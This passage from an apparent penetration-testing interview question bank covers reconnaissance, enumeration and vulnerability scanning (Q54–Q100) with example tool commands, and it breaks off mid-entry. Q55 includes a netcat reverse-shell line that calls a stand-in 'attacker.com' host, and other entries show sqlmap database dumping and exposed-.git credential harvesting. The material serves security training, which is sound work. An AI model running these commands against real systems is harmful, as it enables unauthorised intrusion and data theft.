Masscan is an extremely fast port scanner capable of scanning the entire internet in under 6 minutes. It sends packets asynchronously and uses its own TCP/IP stack. Differences from Nmap: Masscan is much faster (100,000 packets/second vs Nmap's 300), but provides less service information and can be less accurate. Pen testers often use Masscan for initial wide discovery, then Nmap for detailed analysis.

Example:

A pen test covers 65,000 IP addresses. Masscan command: 'masscan 10.0.0.0/16 -p 80,443,8080,8443,22,3389,21 --rate 50000' – scans all 65,536 IPs for 7 common ports in under 2 minutes. The 847 live hosts with open ports are then fed to Nmap: 'nmap -sV -sC -p \$(ports) \$(hosts)' for detailed service fingerprinting – best of both tools.

Q54.

What is OS fingerprinting?

A:

OS fingerprinting identifies the operating system of a remote host by analysing network behaviour – TCP/IP stack characteristics (TTL values, window sizes, TCP options), response patterns to specific probe packets, and service banners. Two types: Active (sending probes – nmap -O) and Passive (analysing existing traffic – p0f, Wireshark).

Example:

Active OS fingerprinting: 'nmap -O 10.0.0.15' returns 'OS: Windows Server 2008 R2 SP1 (90% confidence)'. This immediately flags a critical issue – Windows Server 2008 R2 is end-of-life since January 2020 with no security updates. The pen tester knows to test MS17-010 (EternalBlue), MS08-067, and other legacy Windows exploits against this target.

Q55.

What is Netcat (nc) and its uses in recon?

A:

Netcat is a versatile network utility called the 'Swiss Army knife' of networking. For reconnaissance: banner grabbing (`nc -v target.com 80`), port scanning (`nc -zv target.com 20-30`), and testing service connectivity. For exploitation: reverse shells (`nc -e /bin/bash attacker.com 4444`), file transfer, and port forwarding. It is available on virtually all Unix systems and Windows.

Example:

Banner grabbing with Netcat: `'echo HEAD / HTTP/1.0 | nc target.com 80'`

Response: `'Server: Microsoft-IIS/7.0'` – reveals IIS 7.0 (Windows Server 2008). Connecting to SMTP: `'nc -v mail.target.com 25'` □ `'220 mail.target.com Microsoft ESMTP MAIL Service, Version: 8.0.9200.16384'` – reveals Exchange Server version and OS. All done without any scanning tools.

Q56.

What is DNS zone transfer and how is it exploited?

A:

A DNS zone transfer (AXFR) allows a DNS server to replicate its zone data to another DNS server. If misconfigured to allow transfers from any IP (not just authorised secondary DNS servers), an attacker can request a complete copy of the DNS zone – revealing ALL internal hostnames and IP addresses for a domain. Tools: dig, nslookup, fierce.

Example:

Command: `'dig axfr @ns1.target.com target.com'`

If misconfigured, returns the complete zone file: all internal hostnames (`intranet.target.com` □ `192.168.1.10`, `payroll.target.com` □ `192.168.1.50`, `dc01.target.com` □ `192.168.1.5`). This single command reveals the entire internal network map – information that would take days of active scanning to discover otherwise.

Q57.

What is SMTP enumeration?

A:

SMTP enumeration exploits SMTP server commands (VRFY, EXPN, RCPT TO) to verify whether specific email addresses exist on a mail server. Valid addresses can be used for targeted phishing and provide insight into the organisation's naming convention (`firstname.lastname@company.com`). Tools: smtp-user-enum, Metasploit auxiliary/scanner/smtp/smtp_enum.

Example:

SMTP enumeration using netcat:

`'VRFY john.smith@target.com'` □ `'250 OK john.smith@target.com'` (user exists)

`'VRFY x.unknown@target.com'` □ `'550 No such user'`

This confirms the naming convention 'firstname.lastname' and validates executive email addresses for spear phishing. SMTP enumeration identifies 47 valid email addresses including the CFO and CTO.

Q58.

What is SNMPv1/v2 enumeration and why is it a security risk?

A:

SNMP (Simple Network Management Protocol) v1 and v2c use community strings (default: 'public' read, 'private' write) instead of proper authentication. If default community strings are unchanged, attackers can query SNMP to extract: complete routing tables, ARP tables, interface configurations, running processes, installed software, and network device configurations.

Example:

Command: `'snmpwalk -c public -v2c 192.168.1.1 1.3.6.1.2.1.1.0'`

Returns: *'Cisco IOS Software, C2900 Software, Version 15.3(3)M4' – reveals exact router model and firmware. Further SNMP walk extracts: all interface IP addresses, routing table, and connected devices. With community string 'private' (write access), the attacker could modify the router's configuration.*

Q59.

What is NetBIOS enumeration?

A:

NetBIOS enumeration queries Windows systems for NetBIOS information – computer names, workgroup/domain names, logged-in users, and MAC addresses. It works over UDP port 137. Tools: nbtscan, nmap --script nbstat.nse. NetBIOS information reveals the Windows naming conventions, domain structure, and potentially logged-in user accounts for targeted attacks.

Example:

Command: `'nbtscan 192.168.1.0/24'`

Results: *'192.168.1.5 CORP\DC01 <00> Server', '192.168.1.10 CORP\WIN10-HR01 <00> Workstation – User: sarah.jones'. This reveals the domain name is 'CORP', the domain controller is 'DC01', and user 'sarah.jones' is logged into the HR workstation – useful for targeting specific users for credential attacks.*

Q60.

What is LDAP enumeration?

A:

LDAP (Lightweight Directory Access Protocol) enumeration queries Active Directory or other LDAP servers to extract: user accounts, group memberships, OUs (Organisational Units), computer accounts, service accounts, password policies, and trusts. Anonymous LDAP binding (if enabled) allows this without any credentials. Tools: ldapsearch, enum4linux, ADEplorer.

Example:

Command: `'ldapsearch -x -H ldap://192.168.1.5 -b "dc=corp,dc=local" "(objectClass=user)" sAMAccountName'`

Returns all user account names in Active Directory – including service accounts like 'svc-backup', 'svc-sql', 'svc-monitoring'. Service accounts often have passwords that never expire and high privileges – prime targets for Kerberoasting attacks.

Q61.

What is SMB enumeration?

A:

SMB (Server Message Block) enumeration queries Windows file sharing services to discover: shared folders and their permissions, OS version, domain membership, usernames, and session information. Misconfigured SMB shares often expose sensitive files. Tools: smbclient, enum4linux, CrackMapExec, nmap --script smb-enum-shares.

Example:

Command: `'enum4linux -a 192.168.1.5'`

Returns: Domain Controller is 'DC01' in 'CORP' domain, users: 'Administrator, Guest, john.doe, jane.smith, svc-backup', shares: 'SYSVOL, NETLOGON, IT-Tools (READ EVERYONE), HR-Private (READ CORP\\HR)'. The 'IT-Tools' share accessible by everyone is browsed and found to contain password reset scripts with hardcoded credentials.

Q62.

What is RPC enumeration?

A:

RPC (Remote Procedure Call) enumeration queries the RPC endpoint mapper (port 135) to discover registered RPC services and their associated ports. On Windows systems, this reveals information about services like DCOM, WMI, and Task Scheduler. Tools: rpcclient, nmap --script msrpc-enum, Metasploit auxiliary/scanner/dcerpc/endpoint_mapper.

Example:

Command: `'rpcclient -U " 192.168.1.5 -N'`

With null session (anonymous): 'enumdomusers' command returns all domain users. 'srvinfo' returns server information including OS version. 'enumdomgroups' shows all domain groups. Null session on a Windows server reveals the complete user directory – a critical misconfiguration that allows unauthenticated reconnaissance.

Q63.

What is web application fingerprinting?

A:

Web application fingerprinting identifies the technology stack of a web application: web server (Apache, Nginx, IIS), programming language (PHP, ASP.NET, Node.js), CMS (WordPress, Drupal, Joomla), framework, and database. This is done by analysing HTTP headers, cookies, error messages, URL patterns, and HTML source code. Tools: WhatWeb, Wappalyzer, BuiltWith.

Example:

Visiting a site, the pen tester uses WhatWeb: `'whatweb target.com'`

Result: WordPress 5.8.2, PHP/7.4, Apache/2.4.51, MySQL, jQuery 3.5.1, Google Analytics, Elementor 3.4.8. Cross-checking WordPress 5.8.2 and Elementor 3.4.8 against CVE databases reveals both have known vulnerabilities – giving the tester specific exploits to attempt next.

Q64.

What is Nikto and what vulnerabilities does it find?

A:

Nikto is an open-source web server scanner that checks for: dangerous files and programmes, outdated server versions, version-specific problems, server configuration issues (HTTP methods enabled, index file exposure), and common vulnerabilities. It is noisy (detected by IDS) but comprehensive for quick web server assessments.

Example:

Command: `'nikto -h https://target.com'`

Findings: Apache 2.4.49 is vulnerable to CVE-2021-41773 (Path Traversal – Critical), TRACE/TRACK HTTP methods enabled (reflects XSS), /backup/ directory accessible (contains database backup file), X-Frame-Options header missing, server version exposed in headers. Nikto produces these findings in minutes – each requiring manual verification and exploitation.

Q65.

What is passive DNS reconnaissance?

A:

Passive DNS reconnaissance queries passive DNS databases – repositories of historical DNS records that capture domain-to-IP resolutions over time without querying the target. It reveals: historical IPs for a domain, domains hosted on the same IP, domain changes over time, and sometimes internal hostnames exposed through public DNS. Tools: SecurityTrails, PassiveTotal (RiskIQ), DNSDB.

Example:

Passive DNS on a target domain via SecurityTrails reveals: 2 years ago, the domain pointed to 203.x.x.5 (an old IP that may still host a dev server), 3 months ago a subdomain 'vpn.target.com' resolved to 198.x.x.12 (now discontinued but the server may still exist), and the domain shares hosting with 8 other domains (potentially owned by the same company).

Q66.

What is Recon-ng and how is it used?

A:

Recon-ng is a full-featured web reconnaissance framework with a Metasploit-like interface. It has modules for: hostname gathering, port scanning, email harvesting, credential searching (breach data), API key integration (Shodan, VirusTotal, Censys), and report generation. It automates and organises OSINT collection into a structured database.

Example:

Recon-ng workflow for target.com: Load module 'recon/domains-hosts/bing_domain_web' □ finds subdomains from Bing. Load 'recon/hosts-ports/shodan_ip' □ queries Shodan for open ports on each discovered IP. Load 'recon/domains-contacts/pgp_search' □ finds email addresses. Load 'reporting/html' □ generates HTML report of all gathered intelligence.

Q67.

What is enumeration of cloud storage (S3 buckets)?

A:

Cloud storage enumeration identifies misconfigured cloud storage buckets (AWS S3, Azure Blob, GCP Storage) that are publicly accessible. Misconfigured buckets can expose backups, source code, customer data, and credentials. Discovery methods: DNS/subdomain enumeration, Google Dorking (site:s3.amazonaws.com company-name), bucket name guessing, and tools like S3Scanner, GrayhatWarfare.

Example:

Tool: `'python3 s3scanner.py --bucket-name targetcorp'`

Tests: `targetcorp`, `targetcorp-backup`, `targetcorp-dev`, `targetcorp-prod`, `targetcorp-uploads`.

Result: `'targetcorp-backup'` is publicly readable! Contents: `2021-db-backup.sql.gz` (5.2 GB), `employee-data-2022.csv`. The database backup contains 50,000 customer records including hashed passwords – a catastrophic exposure discovered through basic bucket enumeration.

Q68.

What is Have I Been Pwned (HIBP) and its role in pen testing?

A:

Have I Been Pwned (haveibeenpwned.com) is a service that allows checking if email addresses or passwords appear in known data breaches. In pen testing, it is used to: verify if target employees' emails have been compromised, find plaintext passwords from breaches for credential stuffing attacks, and identify which third-party services the company uses (based on which breaches they appear in).

Example:

HIBP check for `'john.smith@targetcorp.com'` reveals: appeared in LinkedIn breach (2016), Adobe breach (2013), and a credential combo list (2021). The LinkedIn breach exposed a SHA1-hashed password. Cracking it reveals `'Targetcorp2016!'` – and John, like many users, may still use a similar pattern: `'Targetcorp2023!'` – a realistic password for credential testing.

Q69.

What is job posting OSINT?

A:

Analysing a company's job postings reveals their technology stack, security gaps, planned projects, and team structure – information they publicly advertise to attract candidates but that also benefits attackers. Job postings reveal: specific software versions in use, cloud platforms being adopted, security tool gaps (they're hiring someone to implement X – meaning X isn't implemented yet).

Example:

Target company job postings reveal: `'Hiring AWS Security Engineer – must have experience with AWS GuardDuty and Security Hub'` (currently not using these tools – cloud environment likely unmonitored), `'Hiring Penetration Tester'` (they don't have one yet – current security posture is untested), `'Experience with Cisco ASA firewall required'` (confirms firewall vendor). This intelligence shapes the entire attack strategy.

Q70.

What is Wayback Machine / Web Archive reconnaissance?

A:

The Wayback Machine (web.archive.org) stores historical snapshots of websites. Pen testers use it to find: old pages no longer linked (forgotten admin portals, old login pages), previously exposed sensitive files (configuration files, source code), removed but not deleted pages, old API endpoints, and historical technology stack information.

Example:

Wayback Machine search for `target.com/admin` from 2019 shows a Plesk hosting control panel login page that no longer appears in current DNS. Testing the direct URL reveals it still exists and responds – just not linked. A 2018 snapshot of `/config.php` shows database credentials that were briefly exposed:
`'define("DB_PASS","Summer2018!").` Password reuse check: this still works on the company's VPN.

Q71.

What is traceroute and its security applications?

A:

Traceroute (tracert on Windows) maps the network path from source to destination by sending packets with incrementing TTL values. Security applications: reveals network topology (firewalls, load balancers, CDNs), identifies ISP and hosting providers, can reveal internal IP addressing schemes if packets pass through internal routers, and helps understand network segmentation.

Example:

Traceroute to `target.com` reveals: Hop 1 (ISP router) □ Hop 5 (Cloudflare edge 104.x.x.x) □ Hop 8 (origin server 198.x.x.x). The origin IP behind Cloudflare (which hides the real IP) is exposed in traceroute. Direct connection to the origin IP bypasses Cloudflare's WAF – the pen tester can now directly attack the origin web server without WAF interference.

Q72.

What is Censys and how does it differ from Shodan?

A:

Censys is an internet-wide scanning platform similar to Shodan but with different capabilities: Censys focuses on TLS/SSL certificate analysis, provides more detailed protocol data, offers a SQL-like query interface, and provides historical data on certificate chains. Both scan the internet – Censys is often preferred for certificate and TLS analysis, Shodan for device discovery.

Example:

Censys query: `'parsed.names: target.com AND NOT parsed.names: www.target.com'`
Finds SSL certificates issued for all subdomains of `target.com` excluding `www` – revealing internal tool subdomains: `'gitlab.target.com'`, `'jenkins.target.com'`, `'sonarqube.target.com'`. These development infrastructure tools are high-value targets containing source code and deployment credentials.

Q73.

What is network topology mapping?

A:

Network topology mapping creates a visual or logical diagram of the target network — IP ranges, subnets, routers, firewalls, servers, and their interconnections. It is built from reconnaissance data: DNS records, traceroute results, SNMP enumeration, ARP data, and active scanning. Understanding topology reveals network segmentation gaps and potential pivot paths.

Example:

From combined reconnaissance (WHOIS: 203.x.x.0/24, Shodan: 5 exposed services, DNS: 12 subdomains, traceroute: Cloudflare + origin server, SNMP: internal routing tables), a pen tester creates a topology map showing: DMZ (203.x.x.1-10 with web/mail servers), internal network (10.0.0.0/24), and a misconfigured route between them. The topology map guides the entire exploitation phase.

Q74.

What is the difference between active and passive vulnerability identification?

A:

- **Active Vulnerability Identification:** Directly probing and scanning target systems for weaknesses — sending exploit probes, banner grabbing, running vulnerability scanners. Detectable and may cause disruption.
- **Passive Vulnerability Identification:** Identifying vulnerabilities from existing traffic, public databases (CVE/NVD), and OSINT about software versions without directly interacting with the target.

Example:

Passive: A pen tester identifies from Shodan and LinkedIn that the company uses 'WordPress 5.4' — searching CVE database reveals 3 known vulnerabilities including CVE-2020-28032. No packets sent to target. Active: The tester runs WPScan against the actual WordPress site: `wpscan --url target.com --enumerate v,u,p` — directly probing the site for plugins, users, and vulnerabilities.

Q75.

What is email header analysis in reconnaissance?

A:

Email header analysis examines the full headers of emails from a target organisation to reveal: actual mail server IPs (behind spam filters), email security policies (SPF, DKIM, DMARC configuration), internal hostnames, mail routing infrastructure, and mail platform (Exchange, Postfix, Google Workspace). Headers contain a full trail of each server that processed the email.

Example:

Analysing headers from a newsletter sent by target.com: 'Received from internal.mail.target.com (10.0.5.12)' — reveals an internal IP address (10.0.5.12) of the mail server. 'X-Mailer: Microsoft Exchange Server 2013' — reveals old Exchange version. 'Received-SPF: None' — SPF not configured, enabling email spoofing. Three critical findings from one email header.

Section 03: Vulnerability Scanning & Analysis | Questions 81–115

Q76.

What is Nessus and how is it used in vulnerability scanning?

A:

Nessus is the industry-leading vulnerability scanner by Tenable. It identifies: missing patches, default credentials, misconfigurations, known CVEs, and compliance gaps across networks, web applications, and cloud environments. It uses plugins (over 170,000) to check for specific vulnerabilities. Output: prioritised list of vulnerabilities with CVSS scores, descriptions, and remediation steps.

Example:

A pen tester runs Nessus against a /24 subnet. Within 4 hours, Nessus reports: 5 Critical (including MS17-010 EternalBlue on 2 servers, default admin password on a Cisco router), 12 High, 47 Medium, 89 Low. The Critical findings are immediately escalated. EternalBlue on 2 servers is manually confirmed exploitable in the next phase.

Q77.

What is OpenVAS and how does it compare to Nessus?

A:

OpenVAS (Open Vulnerability Assessment System) is a free, open-source vulnerability scanner — the community-maintained alternative to Nessus. It uses a feed of Network Vulnerability Tests (NVTs), provides comprehensive scanning, and has a web-based interface (Greenbone Security Assistant). Compared to Nessus: OpenVAS is free but has fewer plugins, slower updates, and requires more configuration.

Example:

A small security team with limited budget deploys OpenVAS on a Linux server. Weekly automated scans of the internal network identify a newly patched Drupal CVE (CVE-2018-7600 Drupalgeddon2) on their intranet server. The finding is raised for immediate patching — professional vulnerability management at zero licensing cost.

Q78.

What is WPScan and what WordPress vulnerabilities does it find?

A:

WPScan is a WordPress-specific vulnerability scanner that identifies: WordPress core version and known CVEs, installed plugins and their vulnerabilities, installed themes and their vulnerabilities, exposed user accounts (usernames), weak passwords, and security misconfigurations. It uses the WPScan vulnerability database.

Example:

Command: `'wpscan --url https://target.com --enumerate u,vp,vt --api-token YOUR_TOKEN'`

Findings: WordPress 5.8.1 (2 known CVEs), 14 plugins detected, 3 plugins with known vulnerabilities (Contact Form 7 5.3.1 — reflected XSS, Elementor 3.3.0 — information disclosure), 3 users enumerated (admin, john, webmaster). These findings provide multiple exploitation paths.

Q79.

What is Burp Suite and its key components for vulnerability scanning?

A:

Burp Suite is the premier web application security testing platform by PortSwigger. Key components: Proxy (intercepts browser traffic), Scanner (automated vulnerability detection), Intruder (automated attack payloads), Repeater (manual request modification and replay), Decoder (encoding/decoding), Comparer (diff two responses), and Sequencer (token randomness analysis). The Pro version includes the active scanner.

Example:

A pen tester uses Burp Suite to test a banking app: Proxy intercepts all login requests, Repeater tests for SQL injection by modifying parameters, Intruder performs username enumeration by fuzzing the username field and comparing response lengths, Scanner identifies a Stored XSS in the account name field, and Sequencer reveals session tokens are predictable (based on timestamp) – leading to session hijacking.

Q80.

What is OWASP ZAP (Zed Attack Proxy)?

A:

OWASP ZAP (Zed Attack Proxy) is a free, open-source web application security scanner. Features: passive scanning (observing traffic), active scanning (sending attack payloads), fuzzing, spider/crawler, API testing, and automation via REST API. It is the recommended tool for developers and testers on limited budgets. Less powerful than Burp Suite Pro but free.

Example:

A developer integrates ZAP into their CI/CD pipeline using ZAP's API. Every code commit triggers an automated ZAP scan of the staging environment. When a developer accidentally introduces a SQL injection vulnerability in a new feature, ZAP catches it automatically before the code reaches production – shifting security left in the SDLC.

Q81.

What is a vulnerability scanner false positive and how is it verified?

A:

A false positive is when a vulnerability scanner incorrectly reports a vulnerability that doesn't actually exist. Verification steps: 1) Read the detailed plugin output to understand what the scanner tested, 2) Manually reproduce the test condition, 3) Attempt exploitation with a proof-of-concept, 4) Compare scanner's evidence against actual server response. Unverified false positives waste remediation resources.

Example:

Nessus reports: 'MS17-010 EternalBlue on 10.0.0.15 (Critical)'. Manual verification: The scanner detected SMBv1 is enabled (true) and the OS appears to be Windows 7 (true), but assumed the patch is missing. Manual check: Metasploit module ms17_010_eternalblue returns 'Host does not appear vulnerable' – the host HAS the patch but still runs SMBv1. Confirmed false positive – reported accurately in the pen test report.

Q82.

What is authenticated vs unauthenticated vulnerability scanning?

A:

- Unauthenticated Scanning: Scans from an external attacker's perspective without credentials. Finds externally visible vulnerabilities but misses many internal issues.
- Authenticated Scanning: Provides the scanner with valid credentials. Finds missing patches, insecure configurations, user account issues, and installed software vulnerabilities that are only visible when logged in. Much more thorough and accurate.

Example:

Unauthenticated Nessus scan of a Windows server finds 8 vulnerabilities. Authenticated scan (with domain credentials) of the same server finds 67 vulnerabilities – including 23 missing Windows patches (invisible without login), 5 applications with outdated versions (Office 2016, Adobe Reader), and insecure local policies. Authenticated scanning is 8x more effective.

Q83.

What is a vulnerability management lifecycle?

A:

The vulnerability management lifecycle is a continuous process: 1) Asset Discovery (know all assets), 2) Vulnerability Scanning (identify weaknesses), 3) Risk Assessment (CVSS scoring + business context), 4) Remediation Prioritisation (fix criticals first), 5) Patch/Remediate (fix or mitigate), 6) Verification Scanning (confirm fixes), 7) Reporting (track trends over time), then repeat.

Example:

A company's vulnerability management lifecycle: Tenable.io discovers 2,847 vulnerabilities in Q1. Risk assessment identifies 47 Criticals. IT team patches 44 of 47 Criticals in 30 days (3 need vendor patches). Verification scan confirms 44 are remediated. 3 unpatched are mitigated with WAF rules (compensating controls). Monthly trend report shows Critical count dropped 94% – demonstrating programme effectiveness.

Q84.

What is CVE and NVD and how are they used in vulnerability analysis?

A:

CVE (Common Vulnerabilities and Exposures) is a list of publicly known security vulnerabilities with unique IDs (CVE-YEAR-NUMBER). NVD (National Vulnerability Database) is NIST's enhanced database built on CVE that adds CVSS scores, references, weakness types (CWE), and configuration information. Together, they are the authoritative reference for known vulnerabilities.

Example:

A scan reveals Apache 2.4.49. The pen tester queries NVD for 'Apache 2.4.49' and finds CVE-2021-41773 (CVSS 7.5 – Path Traversal, allows reading files outside web root) and CVE-2021-42013 (CVSS 9.8 – RCE when mod_cgi enabled). NVD provides: description, affected versions, CVSS vector, references, and known exploit code location. The CVSS 9.8 becomes an immediate exploitation priority.

Q85.

What is a Common Weakness Enumeration (CWE)?

A:

CWE is a community-developed list of common software and hardware weakness types — the underlying coding errors that lead to vulnerabilities. Unlike CVE (specific instances), CWE describes categories of weakness (CWE-89: SQL Injection, CWE-79: XSS, CWE-120: Buffer Overflow). Understanding CWE helps developers avoid weakness patterns during coding.

Example:

A penetration test report identifies 3 SQL injection vulnerabilities all with CWE-89. The developer team lead uses CWE-89's description to understand the root cause: improper neutralisation of special SQL characters in queries. They implement parameterised queries (prepared statements) — fixing all 3 vulnerabilities and preventing future ones by addressing the CWE-89 weakness at the code level.

Q86.

What is enum4linux and what information does it enumerate?

A:

enum4linux is a Linux tool for enumerating information from Windows and Samba systems using null sessions (anonymous access via SMB/RPC). It extracts: OS information, password policies, user accounts, group memberships, share listings, and printer information. It automates what would otherwise require multiple separate tools (rpcclient, nmblookup, smbclient).

Example:

Command: `'enum4linux -a 192.168.1.10'`

Output: OS: Windows Server 2019, Domain: CORP, Password Policy: Minimum length 7 (weak!), Maximum age: 90 days, Users: Administrator, Guest, john.smith, jane.doe, svc-sql (4 accounts), Shares: ADMIN\$, C\$, IPC\$, Docs (accessible). The weak password policy (7 chars) makes brute-force attacks more feasible.

Q87.

What is SQLmap and how does it work?

A:

SQLmap is an open-source tool that automates detection and exploitation of SQL injection vulnerabilities. It tests injection points, identifies the database type (MySQL, MSSQL, Oracle, PostgreSQL), and can extract database schema, table contents, dump all data, read/write files on the server, and in some cases execute OS commands. It supports GET, POST, cookies, and HTTP headers as injection points.

Example:

Command: `'sqlmap -u "https://target.com/search?q=test" --dbs'`

SQLmap detects SQL injection in 'q' parameter, identifies MySQL database, extracts database names: information_schema, wordpress, ecommerce, admin_db. Follow-up: `'sqlmap -D ecommerce --tables'` □ 'customers (50,247 rows), orders (120,000 rows), payment_cards'. SQLmap turns a single injectable parameter into full database access within minutes.

Q88.

What is a web crawler and how is it used in vulnerability scanning?

A:

A web crawler (spider) systematically browses a web application, following all links to discover all pages, forms, parameters, and API endpoints. In vulnerability scanning, crawling ensures complete coverage — the scanner can only test what it knows exists. Tools: Burp Suite Spider, OWASP ZAP Spider, Scrapy, wget --recursive.

Example:

Before running a web application vulnerability scan, a pen tester crawls target.com with Burp Suite Spider. The spider discovers 847 unique pages including '/admin/dashboard.php' (not linked from the main site), 14 form submission endpoints, and an API at '/api/v1/user/{id}'. Without crawling, the vulnerability scanner would only test the homepage and miss 90% of the attack surface.

Q89.

What is fuzzing in vulnerability testing?

A:

Fuzzing is an automated testing technique that sends large volumes of invalid, unexpected, or random data as input to software in order to find crashes, exceptions, memory errors, and security vulnerabilities. Types: dumb fuzzing (random data), mutation fuzzing (modify valid inputs), and generation fuzzing (structured protocol-aware). Tools: Radamsa, AFL, Peach, Burp Intruder.

Example:

A pen tester fuzzes a web application's file upload feature using Burp Intruder with a list of 500 dangerous file extensions (.php, .phtml, .php5, .pht, .svg, .shtml, .asp, .aspx). When '.phtml' extension is uploaded, the server executes it as PHP — a file upload bypass. Fuzzing discovered the specific bypass that manual testing would have missed.

Q90.

What is a web application vulnerability scanner's spider vs crawler?

A:

- Crawler/Spider: Automated discovery of application pages by following links — finds the attack surface (URLs, forms, parameters).
- Vulnerability Scanner: Tests discovered attack surface points with specific vulnerability probes — finds security weaknesses in the discovered surface.

In practice, modern web scanners (Burp, ZAP) integrate both into an 'active scan' workflow: crawl first, then test.

Example:

ZAP workflow for testing an e-commerce site: Spider crawls and finds 312 unique URLs including '/checkout', '/api/orders', '/admin'. Active Scanner then tests each discovered parameter: injects SQL payloads into '/search?q=', tests XSS in '/review/submit', checks for IDOR in '/api/orders/12345' (replacing 12345 with other numbers). The spider ensures no endpoint is missed; the scanner tests each one.

Q91.

What is Dirb/Gobuster and what are they used for?

A:

Dirb and Gobuster are directory and file brute-forcing tools that try to discover hidden files and directories on web servers by systematically trying thousands of common names from wordlists. They find: admin panels, backup files, configuration files, source code, and hidden functionality not linked from the main site. Gobuster is faster (Go-based, concurrent).

Example:

Command: `'gobuster dir -u https://target.com -w`

`/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak'`

Finds: `/admin.php` (200 OK – admin panel), `/config.php.bak` (200 OK – backup containing DB credentials), `/uploads/` (403 Forbidden but exists), `/test/` (200 OK – development area with debug enabled). Admin panel + config backup = immediate critical finding.

Q92.

What is Metasploit's auxiliary scanner and how is it used in vuln assessment?

A:

Metasploit's auxiliary scanners are modules that perform specific checks without full exploitation – they verify if a vulnerability is present. Categories: port scanners, service version detectors, vulnerability checkers (`smb_ms17_010`, `http_shellshock`, `mysql_login`, `ssh_login`). They bridge the gap between vulnerability detection and exploitation.

Example:

Metasploit auxiliary scanner workflow:

`'use auxiliary/scanner/smb/smb_ms17_010'`

`'set RHOSTS 10.0.0.0/24'`

`'run'`

Result: `'10.0.0.5 – Host is LIKELY VULNERABLE to MS17-010'`, `'10.0.0.12 – Host is LIKELY VULNERABLE to MS17-010'`. Now the pen tester knows exactly which 2 hosts out of 254 are vulnerable to EternalBlue before attempting the actual exploitation – avoiding noisy failed exploitation attempts on patched hosts.

Q93.

What is Nikto's role in web vulnerability scanning?

A:

Nikto performs comprehensive web server checks including: identifying server and software versions, discovering potentially dangerous files (PHPMyAdmin, Webmin, `admin.php`), checking for outdated software, identifying insecure HTTP methods (PUT, DELETE, TRACE), finding common files (`.htpasswd`, `.git`, `robots.txt`, `sitemap.xml`) and checking default credentials on common applications.

Example:

Nikto discovers on a target: `'/.git/HEAD – Git repository exposed!'` A git repository exposed on a web server reveals the entire application source code history. Using `'git-dumper.py https://target.com/.git ./dumped'`, the pen tester downloads the complete source code, including a commit from 2019 containing an AWS access key that was 'accidentally' committed and never rotated – active credentials still work.

Q94.

What is a protocol analyser in vulnerability assessment?

A:

A protocol analyser (packet sniffer) captures and examines network traffic to identify security issues: unencrypted protocols transmitting credentials (Telnet, FTP, HTTP Basic Auth), weak cipher suites in TLS negotiations, cleartext sensitive data, misconfigured protocols, and abnormal traffic patterns indicating vulnerabilities. Tools: Wireshark, tcpdump, NetworkMiner.

Example:

Wireshark capture on a corporate network reveals: Employees still using Telnet (not SSH) to access a legacy switch – passwords visible in plaintext. FTP transfers of weekly reports in cleartext – file contents interceptable. HTTP Basic Authentication on an internal site – base64 username:password decoded instantly. Three critical vulnerabilities found without sending a single attack packet.

Q95.

What is a configuration review in vulnerability assessment?

A:

A configuration review manually examines system and application configurations against security best practices or hardening guides (CIS Benchmarks, DISA STIGs, vendor security guides). It identifies: default credentials, unnecessary services enabled, insecure permissions, missing logging, weak encryption settings, and compliance gaps. It is the most thorough but time-intensive method.

Example:

Configuration review of an Apache web server against CIS Benchmark finds: ServerSignature On (exposes version), directory listing enabled on /var/www/html/uploads/ (exposes uploaded files), mod_status enabled at /server-status (exposes active connections), no SSL/TLS minimum version configured (allows SSLv3/TLS1.0). Four high-severity findings invisible to automated scanners.

Q96.

What is SSL/TLS vulnerability scanning with SSLScan and testssl.sh?

A:

SSLScan and testssl.sh are tools that enumerate TLS/SSL configuration weaknesses: supported protocol versions (SSLv3, TLS 1.0, 1.1 – deprecated), cipher suites (weak RC4, NULL ciphers, export ciphers), certificate issues (expired, self-signed, weak RSA key sizes), and known TLS vulnerabilities (BEAST, POODLE, HEARTBLEED, CRIME, DROWN, LOGJAM).

Example:

Command: 'testssl.sh https://target.com'

Findings: TLS 1.0 enabled (DEPRECATED – PCI DSS violation), BEAST vulnerability (TLS 1.0 CBC ciphers), Heartbleed: VULNERABLE (CVE-2014-0160 – allows private key extraction!), Certificate expires in 3 days, 512-bit export cipher supported. Heartbleed is a critical finding allowing extraction of private keys and session data from server memory.

Q97.

What is a network vulnerability scanner's credentialed vs non-credentialed scan difference?

A:

Non-credentialed (unauthenticated) scans detect externally visible vulnerabilities — open ports, banner versions, unauthenticated access issues. Credentialed (authenticated) scans log into each system with provided credentials and check internally: installed software versions against CVE databases, missing OS patches, local user account issues, registry settings, and file permissions. Credentialed scans find 5-10x more vulnerabilities.

Example:

Non-credentialed Nessus scan of Windows Server 2019: 6 findings (open ports, TLS issues). Credentialed scan of same server (providing local admin credentials): 89 findings — 47 missing Windows patches, 12 outdated applications (Office, Adobe Reader, .NET Framework), insecure local policies (Guest account enabled, weak password policy), and 3 services running as SYSTEM unnecessarily. Same server, completely different risk picture.

Q98.

What is vulnerability prioritisation and how is it done?

A:

Vulnerability prioritisation determines the order in which vulnerabilities should be remediated. Factors beyond CVSS score: asset criticality (impact if that specific system is compromised), exploitability (is there a public exploit? Is it being exploited in the wild?), exposure (internet-facing vs internal), compensating controls (does a WAF already mitigate this?), and business context (does this system process PII or payments?).

Example:

Two Critical CVSS 9.8 vulnerabilities: #1 — Apache RCE on an internet-facing customer portal processing 10,000 transactions/day (internet-exposed, public exploit, handles payments). #2 — SMB vulnerability on an air-gapped internal test system with no sensitive data (not internet-facing, requires internal access). Same CVSS score, but #1 is remediated immediately while #2 can wait a week — risk-based prioritisation.

Q99.

What is a passive vulnerability scanner?

A:

A passive vulnerability scanner identifies vulnerabilities by analysing existing network traffic rather than actively sending probes. By monitoring traffic, it identifies: software versions from banners, cleartext protocols, TLS versions, and network behaviour patterns. It creates no additional network traffic and is invisible to IDS systems. Tools: Tenable.io Passive, Darktrace, Zeek (Bro) IDS.

Example:

A passive scanner monitoring a hospital's network traffic identifies: Medical imaging workstations running Windows XP (EOL — visible from HTTP headers in their traffic), a DICOM server transmitting unencrypted patient imaging data, and an ECG machine communicating using Telnet. All discovered without sending a single probe — critical for environments where active scanning could disrupt medical equipment.

Q100.

What is a threat-informed vulnerability assessment?

A:

Threat-informed vulnerability assessment prioritises findings based on whether they are relevant to active threat actors targeting the organisation's sector. It uses threat intelligence (MITRE ATT&CK, ISACs, CISA advisories) to cross-reference vulnerabilities with known attacker TTPs. A vulnerability being actively exploited by threat actors in the wild gets higher priority than a theoretical CVE.

Example:

